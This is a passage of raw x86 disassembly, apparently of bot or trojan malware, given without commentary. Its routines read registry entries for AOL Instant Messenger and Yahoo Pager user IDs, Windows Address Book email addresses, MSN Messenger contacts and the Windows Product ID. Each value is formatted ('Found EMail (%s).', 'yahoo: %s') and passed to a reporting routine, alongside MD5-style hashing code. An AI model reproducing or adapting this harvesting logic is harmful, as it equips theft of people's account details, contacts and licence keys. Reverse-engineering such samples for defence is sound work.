0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h call near ptr 77C2C407h nop add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 83D89C0h dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 32DAE850h, 83907781h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 9837E890h, 0B9001Bh, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0CBF0000h, 0F30050E4h dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch dd 24EB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F70h dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh dd 51000001h, 44C75250h, 4424h, 4DE80000h, 900249B5h, 1424448Bh dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h dd 80000003h, 402444C7h, 800h, 4AB507E8h, 0C0859002h, 0E9850Fh dd 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h, 20244489h dd 96C7E890h, 0B9001Bh, 33000002h, 24BC8DC0h, 6F4h, 0F310C483h dd 100B9ABh, 0CBF0000h, 0F30050E4h, 24448DABh, 19685010h dd 6A000200h, 3685500h, 90800000h, 52B4ABE8h, 8468B02h dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh, 6A006A52h dd 0FF515000h, 74C085D3h, 24548B0Bh, 0E8905210h, 24EB480h dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h dd 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh, 16F424BCh dd 8C8D0000h, 6E424h, 68525100h, 443D4Ch, 0E8694F8Dh, 0FFFCC913h dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h dd 1CC483FFh, 1024548Bh, 19E89052h, 8B024EB4h, 8B24247Ch dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h, 4C244C8Dh dd 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A24FE81h, 820F0044h dd 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h, 20019h dd 0B068006Ah, 6800445Bh, 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 7F778EE8h, 0C4839077h, 248C8D04h, 2E4h dd 0A468F08Bh, 5100445Bh, 446A5C68h, 0E8905600h, 1B954Dh dd 443E8C68h, 0E8905600h, 7780A36Ch, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 80BEF4E8h, 0C4839077h dd 74C0850Ch, 24448D53h, 6A44687Ch, 90500044h, 812F8BE8h dd 8C48377h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60B5h, 0FCCB33E8h dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 0E8560A74h dd 777F74EFh, 4C48390h, 1C24448Bh, 0B2C6E850h, 8D90024Eh dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h dd 68F08B00h, 4469F8h, 69E86852h, 90560044h, 1B943CE8h dd 3E8C6800h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h dd 80BC88E8h, 4C48377h, 0A74F685h, 73E5E856h, 8390777Fh dd 548B04C4h, 90521C24h, 4EB1BBE8h, 244C8D02h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 2960000h test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446948 push ecx mov dword ptr [esp+2Ch], 100h call near ptr 2900000h nop test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 2920000h jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44693C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h call near ptr 2960000h nop test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h call near ptr 2900000h nop test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 2960000h mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F70 push eax nop call near ptr 2900000h mov eax, [esp+14h] push eax nop call near ptr 2920000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx nop call near ptr 2880000h push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2720000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 2860000h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx call near ptr 2720640h nop mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi call near ptr 27207EDh nop push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 2960000h test eax, eax jnz loc_43551E mov ebx, off_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A88 push ecx call ebx ; sub_5EE1E5 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h call near ptr 2900000h nop test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A7C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h push 64h nop call near ptr 2850303h jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 2920000h loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BCB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx call near ptr 2920000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2920000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BB4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2920000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2920000h push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h call near ptr 2960000h nop mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 2900000h test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, 